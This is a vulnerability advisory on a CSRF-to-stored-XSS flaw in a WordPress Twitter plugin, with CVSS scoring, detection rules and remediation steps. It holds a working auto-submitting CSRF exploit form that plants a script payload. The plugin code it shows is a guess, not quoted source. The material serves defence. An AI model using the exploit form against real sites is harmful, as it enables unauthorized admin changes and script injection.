CVE-2024-51659

Executive Summary

CVE-2024-51659 is a Cross-Site Request Forgery (CSRF) vulnerability in the GeekRMX Twitter @Anywhere Plus plugin, version 2.0 and earlier. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious scripts. The CSRF vulnerability is further leveraged to achieve Stored Cross-Site Scripting (XSS), enabling persistent payload execution in the WordPress admin panel. The vulnerability is unpatched, and no official fix is available from the vendor.

This vulnerability is specific to the WordPress ecosystem, as the plugin is designed for WordPress sites. It does not affect Apache or Nginx directly.

Supply Chain & Package Security

This plugin is distributed via the WordPress plugin repository and third-party sites. Since no patch is available, users must manually remove or disable the plugin to mitigate risk. The lack of a CSRF token in admin actions makes it trivial to exploit via social engineering.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must click a crafted link)
• Scope: Changed (CSRF leads to XSS, affecting other users)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: High. The combination of CSRF and Stored XSS allows an attacker to execute arbitrary JavaScript in the admin context, potentially leading to session hijacking, privilege escalation, or malware distribution.

Deep Dive & Mechanics

The vulnerability resides in the plugin's admin interface, which fails to implement CSRF tokens for state-changing requests. An attacker can craft a malicious HTML page or email that, when visited by an authenticated admin, triggers a forged request to the plugin's settings endpoint. This request can modify plugin options, such as the Twitter API keys or custom JavaScript fields.

Because the plugin stores user-supplied data (e.g., custom CSS/JS) without proper sanitization, the attacker can inject a persistent XSS payload. This payload executes in the admin dashboard whenever the compromised settings are loaded, affecting all admin users.

Attack Flow:

1. Attacker identifies a WordPress site using Twitter @Anywhere Plus <= 2.0.
2. Attacker crafts a CSRF exploit that modifies the plugin's "Custom JavaScript" field to include a malicious script (e.g., <script>alert('XSS')</script>).
3. Attacker sends the exploit link to an authenticated admin (e.g., via email or social engineering).
4. Admin clicks the link, triggering the CSRF request.
5. The plugin stores the malicious JavaScript.
6. When the admin (or any other admin) visits the plugin settings page, the script executes, stealing cookies or performing actions on behalf of the admin.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.0): The plugin's admin page likely uses admin_post or admin-ajax hooks without nonce verification.

// Vulnerable: No CSRF nonce check
add_action('admin_post_save_twitter_settings', 'save_twitter_settings');
function save_twitter_settings() {
    update_option('twitter_anywhere_plus_js', $_POST['custom_js']);
    // No sanitization or nonce
}

Patched Code (Hypothetical): A patched version would include a nonce field and sanitize input.

// Patched: Nonce verification and sanitization
add_action('admin_post_save_twitter_settings', 'save_twitter_settings');
function save_twitter_settings() {
    if (!wp_verify_nonce($_POST['_wpnonce'], 'twitter_settings_nonce')) {
        wp_die('CSRF detected');
    }
    update_option('twitter_anywhere_plus_js', sanitize_text_field($_POST['custom_js']));
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Twitter @Anywhere Plus <= 2.0 installed and activated.
• An authenticated admin session (target).

Exploit Steps:

1. Create a malicious HTML file (csrf_exploit.html) that auto-submits a form to the vulnerable endpoint.

<html>
<body>
<form action="http://target/wp-admin/admin-post.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="save_twitter_settings">
    <input type="hidden" name="custom_js" value="<script>alert('XSS')</script>">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>

2. Host the file on an attacker-controlled server.
3. Send the link to the admin (e.g., via email).
4. Once the admin visits the link, the CSRF executes, and the XSS payload is stored.
5. The next time the admin visits the plugin settings page, the script executes.

Blue Team

Detection:

• Monitor for unexpected changes to the twitter_anywhere_plus_js option in the WordPress database.
• Look for HTTP requests to /wp-admin/admin-post.php with action=save_twitter_settings from unusual referrers.
• Use a Web Application Firewall (WAF) to block requests containing <script> tags in POST parameters.

Mitigation:

• Disable or remove the plugin immediately.
• Implement a Content Security Policy (CSP) to block inline scripts.
• Use a security plugin like Wordfence to add CSRF protection.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/twitter-anywhere-plus/twitter-anywhere-plus.php
• Database Option: twitter_anywhere_plus_js containing suspicious JavaScript.
• HTTP Request: POST to /wp-admin/admin-post.php with action=save_twitter_settings and custom_js parameter.
• Log Entry: WordPress debug log showing unexpected admin actions.

Detection Engineering

YARA Rule

rule CVE_2024_51659_CSRF_XSS {
    meta:
        description = "Detects CSRF exploit for Twitter @Anywhere Plus plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-51659"
    strings:
        $csrf_form = "action=save_twitter_settings" nocase
        $xss_payload = /<script[^>]*>.*<\/script>/i
    condition:
        $csrf_form and $xss_payload
}

Sigma Rule

title: CVE-2024-51659 CSRF to Stored XSS
id: 8a3f7b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects CSRF attempts targeting Twitter @Anywhere Plus plugin
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-post.php'
        cs-params: 'action=save_twitter_settings'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51659 CSRF to Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=save_twitter_settings"; http_client_body; content:"<script"; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin via WordPress admin or by renaming the plugin folder via FTP/SFTP.
2. Remove the plugin if not needed.
3. Scan the WordPress database for any stored XSS payloads in the twitter_anywhere_plus_js option and delete them.

Long-term Mitigation:

• Monitor the vendor's site for a patched version.
• Implement a Web Application Firewall (WAF) with rules to block CSRF and XSS.
• Use a security plugin that adds CSRF nonces to all admin actions.
• Educate administrators about phishing attacks that exploit CSRF.

Patch Status: UNKNOWN / UNPATCHED. No official patch is available. Users must rely on disabling the plugin.

Valters IT
Securing Digital Frontiers